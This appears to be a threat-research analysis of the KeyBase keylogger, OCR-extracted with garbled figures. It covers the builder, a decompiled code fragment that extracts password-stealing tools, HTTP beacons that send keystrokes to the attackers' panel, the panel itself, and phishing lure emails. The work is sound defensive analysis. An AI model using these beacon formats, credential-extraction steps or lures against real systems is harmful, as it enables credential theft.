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Introduction

KeyBase is a trending payload in several of today's malware groups. In fact, we have seen
evidence that all of the Office exploit kits (MWI, AK-1, AK-2, DL-1 and DL-2) have been
used to distribute it. A detailed description of these Office kits can be found in [1].

One of the incidents related to the KeyBase trojan was described in [2], while a very
detailed and extensive listing of incidents was published in [3]. Its significance is being
recognized, and recently Team Cymru started tracking KeyBase C&C activity [4].

In this paper we provide an overview of KeyBase, both the keylogger itself and the server-
side management component. Additionally, we will look at an example of when this trojan
was used.

KeyBase Builder

KeyBase is a commercial product (i.e. it is sold for money, which does not necessarily
means that it is legitimate). The original homepage of the product was
http://www.keybase.in/ (note that, despite the fact that the URL differs only by one
character, it is not related in any way to the popular public key store keybase.io).

However, the project has been shut down due to its increased use by criminals.
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PROJECT DISCONTINUED

Figure 1: The project has been shut down.

This move hasn't stopped the criminals from using the keylogger in their campaigns though.
Even now (at the time of writing: June 2016) we are seeing new instances being distributed.

The Wayback Machine web archive stores earlier versions of the site, which give us some
hints about the capabilities of the tool [5].

KeyBase is more than just a simple keylogger, it is a complete credential stealing suite.
Aside from stealing credentials from all popular web browsers and email clients, KeyBase is
also capable of storing keystrokes and clipboard content, and screenshots can also be
created with it.

Passwords are stolen from a long list of applications which include the most popular web
browsers and email clients.
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KeyBase v1.0

Did you setup KeyPanel?

Link to KeyPanel:  http://www.keybase.in/keybase/ Tiest Connection

General Config Appearance Properties Extensions

KeyStrokes Passwords ScreenShots ClipBoard

Recover Passwords Send periodically every 1 minute(s)

Choose programs to recover passwords from

Popularweb browsers Popular mail clients Other popular applications
Google Chrome MS Qutlook FileZilla
Mozilla Firefox Thunderbird JDownloader
Internet Explorer Incredimail IDM
Opera NetScape Imvu
Safari Eudora PalTalk

Select all Select All Select All

Select all password recovery options

Accept terms and Generate server

Figure 2: Passwords are stolen from a long list of applications.

Password stealing is not an original development in the product. This functionality is
outsourced using the MailPassView and WebBrowserPassView utilities from Nirsoft [6] — as
in most other contemporary credential stealers (e.g. Predator Pain, Hawkeye, iSpy).

The Nirsoft utilities are stored in encrypted form (using the AES algorithm) and extracted
and executed on the fly when needed, as shown in Figure 3.
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= s Resources
= ([ Key.resources
| 64128c012df6ee72f30ebbb1711f137e
] RecoverBrowsers

B RecoverMail |

public string ReadMail()

string text = Environment.GetFolderPath(Environment.5pecialFolder.CommonApplicationData) + "\\Mails.txt™;
string result;
try
if (!File.Exists(text))
Assembly assesmbly = (Assembly)typeof(Assembly).GetMethod(5trings.StrReverse( ylbesessAgnitucexEtes”)). Invoke(null, null);
ResourceManager resourcetanager = new ResourceManager(“Key™, assembly);
byte[] bytes = Enceding.Unicode.GetBytes( "Password™);
string executablePath = Application.ExecutablePath;
string cmd = "fstext " + text;
byte[] cl220 = (byte[])resourceManager.GetObject("RecoverMail”);
O 0000 executablePath, cmd, Encryption.RSMDecrypt(cl2z0, bytes), false);
while (!File.Exists{text))

Thread.Sleep(108@);

¥
result = File.ReadAllText(text);

Figure 3: The Nirsoft utilities are stored in encrypted form and extracted and executed on
the fly.

In this example the email stealer is stored as a resource called 'Recovermail'. Figure 4
shows the version information of the embedded utilities.

{33472 _400000_REPLACED_exe 58 3840_400000_REPLACED_ exe
| General | Compatibility | Security | Details | Previous Versions | | General | Compatibiy | Securty | Detais | Previous Versions |
Property Value Dmpet L
e Description
Description Fba e R g s

File description Email Password-Recovery Type Ppphcation
Type Application File version 1580
File version 1.8.3.180 Product name  WebBrowserPassView
Productname  Mail PassView Product version 1.58
S R T Copyright Copyright ® 2011 - 2015 Nr Sofer

: — 3 5 Size 356 KB
Copyright Copyright © 2003 - 2014 Nir Sofer Date 14/12/2015 16:06

Size 108 KB Language English (United States)
Date modfied  14/12/2015 16:06 Orginal filename WebBrowserPassView exe
Language English (Unted States)

Figure 4: Version information of the embedded utilities.

Screenshots are taken periodically and uploaded to the server. It is even possible, using the
InstalLogging feature, to specify which applications trigger the screenshot (see Figure 5).
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Figure 5: The InstaLogging feature specifies

outube

Test image Quality

Fecegt terms and Generate server

which applications trigger the screenshot.

In most cases the screenshot feature is turned off, which is probably to save disk space on
the server side — KeyBase can easily create thousands of screenshots, which consume
several gigabytes of disk space.

As shown in Figure 6, the uploading of clipboard content is configurable, and a self-destruct
date can even be specified for time-limited operations (see Figure 7).
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se v1.0

Did you setup KeyPanel?

Link to KeyPanel:  http://www.keybase.in/keybase/ Tiest Connection

General Config Appearance Properties Extensions
KeyStrokes Passwords ScreenShots ClipBoard
Record ClipBoard Do not record ClipBoard

el O
Canfigure Clipboard logger Jn

Send periodically Send after changing text

Log Interval: 1 minute(s)

Include the Window where the fext is copied

Minimum Character Limit; character(s)

Maximum Character Limit: 2567 character(s)

Accept terms and Generate server

Clipboard content uploading.

Stop Legging at this tme

Set Date: 02:2T:55 Thursday February 18 2015 Ty

Self destruction date: (dd/mm/yvyyy)

Figure 7: A self-destruction date can be specified for time-limited operations.

Most of the keyloggers we see today support multiple submission methods for stolen data;
these are usually email, FTP and web upload. KeyBase supports only one of these, web
upload.
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Once the installation of the trojan is complete, it sends back a notification to the server (as
an HTTP GET request sent to the server side PHP script) (see Figure 8).

GET fweh/post.php?type=notification&machinename=« amachinetime=8:51%204M HTTP/L.1
HOST :
connection: KEEp—A Tve

HTTP/1.1 200 OK

Date:

server: Apache

X-Powered-By: PHP/5.3.29
Keep-Alive: timeout=8000, max=8000
Connection: Keep-alive
Transfer-encoding: chunked
content-Type: text/html

b
<hr>success
0

Figure 8: Once the installation of the trojan is complete it sends back a notification.

Then it periodically sends the collected keystrokes and other information in the same way
(Figure 9).

|GET /web/post.php?type=keystrokesdmachinename= Swindowtitle=Capturing®20from®20Intel
[CR)%20PRO/1L0O00%2 OMTX20D25KTO %20AdaEter%20x20%zszobewireshark%EOl.7.0%20%20(SVN%20Rev%
|2039768%20f rom¥%20,/trunk )%5 eystrokestyped=Emachinetime=8:52%204aM HTTP,/1.1

|HOST :

HTTP/1 1 200 ow

|Date:

[Server: Apacne
X-Powered-By: PHP/5.3.29
[Transfer-eEncoding: chunked
Content-Type: text/html

b
|<br>success
|0

Figure 9: Periodically it sends the collected keystrokes and other information.

Interestingly, even though most of the strings are encrypted in the source of the trojan
(using a slightly modified Vigenere cypher), and are thus hidden from simple analysis tools,
the web panel URL is stored in plain text.

.Restart_Path = Path.Cmbine(Envircﬂméﬁt.GetFolder'Path(Enviranment.SpecialFolder.Star'tuP)s "Important.exe”);

.App_Path = Application.ExecutablePath;

.Alt_Location = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Important.exe™);

.P_Link = "http:/s Smarch-Sapril/”;

Figure 10: The web panel URL is stored in plain text.

An interesting feature is that the password for encrypting the string variables is not specified
in plain text (which would make it relatively easy to guess/crack), but instead is derived from
a bitmap when generating the trojan with the builder. Clicking within the map sets the
password.
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Figure 11: The password for encrypting the string variables is derived from a bitmap.

KeyBase Server Side

Although it falls short compared with other common keyloggers in terms of submission
features, one clear advantage of KeyBase is a user-friendly server-side interface, Keypanel,
which starts with a login page, as shown in Figure 12.

Enter Detalls To Login

T

User Id
:

Password

Figure 12: KeyBase login.

A successful login leads to a dashboard (Figure 13), which summarizes the information
collected from the infected victims, listing separately the infected computers, collected
passwords, logged keystrokes and uploaded screenshots.
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KeyBase

Admin Dashboard

@ Dashboard @ 5 e 334 @ 20 o .297

Computers Keystrokes Passwords
3 ¥ Screenshots

Netifications from Computers

T:29 AM

T29 AM

T:29 AM

729 AM

7:30 AM

730 AM
Figure 13: A dashboard summarizes the available information collected from the infected
victims.

From here it is possible to access the uploaded clipboard content (Figure 14) and the stolen
passwords (Figure 15), or browse the screenshots (Figure 16).

Clipboard logs
0 [§] records per page Search:
@ - Google - hitps/h3.googleusercontent.com 12:27 2015-09-22
Dashboard Internet Explorer 1-SP72WINQIEW/AAAAAAAAAAL AAAAAAAAADE 08:29:01
fC_HODIWCHCE/5120-c/photo.|pg
- Google - hitpsih3.googleusercontent.com 12:41 2015-09-22
Internet Explorer F-sPI72WNQUIwW/AAAAAAAMAAIASAAAAAMADE 08:43:17

SC_HODIWCHCR/5120-c/photo.|pg

courler commeerclal Involce-1  Date: 03/09/2015 COMMERCIAL INVOICE MR, 14:39 2015-09-22
[Compatibility Mode] - 10:41:28
Microsoft Word P.O.BOX - IND, AREA

-2 SAUDI ARABIA TEL MOB:

CONTENTS : Telescoplc Cou

courler commercial involce-1  Date: 03/0972015 COMMERCIAL INVOICE MR, 14:39 2015-09-22
[Compatibility Mode] - CO. LTD. 10:41:30
Microsoft Word P.O.BOX - IND. AREA

-2 SAUDI ARABIA TEL 3 . MOB:

CONTENTS : Telescopic Cou

courler commercial Invelce-1  Date: 03/049/2015 COMMERCIAL INVOICE MR. 14:40 2015-09-22
[Compatibility Mode] - CO. LTD. 10:42:30
Microsoft Word P.O.BOX - IND. AREA

-2 SAUDI ARABIA TEL : MOB:

[} CONTENTS : Telescoplc

Couonl

Figure 14: The uploaded clipboard content can be accessed.
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KeyBase

Passwords recovered

10 ;] records per page Search:
Internet http:f, ‘admin 2015-09-22
Explorer 7.0 - findex.php 06:37:18
2.0
Internet httpsuin 2015-08-22
Explorer 7.0 - findex.phpiogin/36257 06:37:18
2.0
Internet https./e B} 20150922
Explorer 7.0 - 06:37:18
2.0 4
flogin.aspx
Internet https:r 2015-09-22
Explerer 7.0 - 063718
i |
Passwords flogin.aspx
o] Internet https:s 2015-09-22
oM o Explorer 7.0- 06:37:19
- 2.0
fogin.aspx

Figure 15: The stolen passwords can be accessed.
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Figure 16: The screenshots can be browsed.

Having access to all of this data is just the beginning, the real activities start when the
criminals begin to use the stolen information in their schemes.

The stolen data is typically used in supply chain hijacking attacks, similar to the one
described in [7], which features a different keylogger, Hawkeye.

KeyBase Campaign
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As examples we take a series of KeyBase trojan variants that sent stolen data to the
jobme.eu server.
These trojans were distributed in email messages like the one shown in Figure 17.

B PRICE LIST - Message (Plain Text)
: fle Edit Yiew [nsert Format Tools Actions Help
figReply | (QReplvtond | Forerd | f ¥ | X e - -Nlof

Extra line breaks in this message were removed,

From: OFFICE [info@l Sent:
To: undisclosed-recipients:
Cc:

Subject: PRICE LIST

Attachments: CAIPRICE LIST 00101815, 2ip (712 KB)

| Hello, A

Your company was recommended to us by one of our customers; Kindly
send me your prices for the attached product 30 we can buy from you.

le are eagerly awaiting for your positive revertc.

Best Regards.
Jigar Shah
Harketing Manager
Labdhi Tradelink
Ahmedabad, italy
M.No.

Figure 17: KeyBase trojan distribution email.

The trojan was attached to the email as a Windows executable packed in a ZIP archive. In
this case Office exploits were not used in the distribution, instead the criminals relied on
traditional social engineering.

In another case we couldn't recover the original email, but we know that the trojan was
distributed by email, once again in an archive. This time the archive was named
‘enquiry_shipsrv_047pdf.gz' (even though the file extension suggests it was a gzip archive,
it was really a renamed ZIP file).

VirusTotal data suggests that the original email had the following text:
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From: PT Indofuels Limited

Sent: Monday, 19 October, 2015 4:08 PM
*Blank out*

Subject: Request for Quotation

Hello sir,

We just sent you our Request for Quotation via ShipServ.

Attached please find additional data, as announced in our ShipServ inquiry.
We are looking forward to receiving your quotation.

Best regards

Mr Tse Lenora

Director

PT Indofuels Limited

Tel : +852 31889879

Email : [email protected]
Website : http://www.indofuels.com

Notice:

(1) It is not SPAM/Junk Mail but only regular e-mail of shipping & chartering
business;

(2) If you are not interested in these biz areas and do not want to receive our mail
again, please inform us;

(3) Please consider the environment before printing this e-mail.

When the victim opens and executes the attachment, the trojan activates and installs itself
on the computer, then creates a link in the user's %STARTUP% directory. This way, the
keylogger will execute every time the computer is turned on.

On the server we found multiple installations of the server-side panel.
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Figure 18: Multiple installations of the server-side panel.

Here, each of the subfolders (except for cgi-bin and tmp) contained a separate control

panel. A possible reason for this is to separate different malware distribution campaigns.

We were able to identify a couple of samples that connected to some of the panels.

SHA1 Drop folder/panel
2243661696ef0a519c6583ac1ab2e14088fe476f roko

f73dc85a3506a11e4dbbedabe4e69109bd9a2ffe ocha
6d6d2002f8841fa605fc51f749bacb6bd50b7678

The majority of the panels were empty — either the campaign didn't start or the logs had
already been deleted.
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Admin Dashboard

ﬁ Dashboard

Computers Keystrokes Passwords Screenshots

Notifications from Computers

1 I ' Clipboard

Figure 19: The majority of the panels were empty.

Even though a typical campaign in this operation affected only a few dozen computers, the
criminals managed to collect a lot of password and keystrokes (and skipped the
screenshots, possibly to spare server storage).

® -

Computers

&)

Screenshots

118715

Passwords

Keystrokes

Notifications from Computers

NG

Figure 20: The criminals managed to collect a lot of password and keystrokes.

It is generally observable with KeyBase (and other keylogger) campaigns that the criminals
keep the number of infected hosts low — in the dozens. This gives them a manageable
amount of data and number of victims, for when they (usually) engage in invoice hijacking
actions.
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The target distribution of the KeyBase campaigns tied to the jobmen.eu domain is illustrated
in_Figure 21. The main targets were in Asia, India, Indonesia, Bangladesh and Djibouti.

Infected endpoints by country

- e — R
Figure 21: The main targets were in Asia, India, Indonesia, Bangladesh and Djibouti.

We don't have information on the actual use of the credentials, but it is likely that the
criminals were engaged in a supply chain hijacking operation, much like that described in

[7].
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Cryptojacking on the fly: TeamTNT using NVIDIA drivers to mine
cryptocurrency

TeamTNT is known for attacking insecure and vulnerable Kubernetes deployments in order
to infiltrate organizations’ dedicated environments and transform them into attack
launchpads. In this article Aditya Sood presents a new module introduced by...

Collector-stealer: a Russian origin credential and information extractor

Collector-stealer, a piece of malware of Russian origin, is heavily used on the Internet to
exfiltrate sensitive data from end-user systems and store it in its C&C panels. In this article,
researchers Aditya K Sood and Rohit Chaturvedi present a 360...

Fighting Fire with Fire

In 1989, Joe Wells encountered his first virus: Jerusalem. He disassembled the virus, and
from that moment onward, was intrigued by the properties of these small pieces of self-
replicating code. Joe Wells was an expert on computer viruses, was partly...

Run your malicious VBA macros anywhere!

Kurt Natvig wanted to understand whether it's possible to recompile VBA macros to another
language, which could then easily be ‘run’ on any gateway, thus revealing a sample’s true
nature in a safe manner. In this article he explains how he recompiled...

Dissecting the design and vulnerabilities in AZORult C&C panels

Aditya K Sood looks at the command-and-control (C&C) design of the AZORult malware,
discussing his team's findings related to the C&C design and some security issues they
identified during the research.
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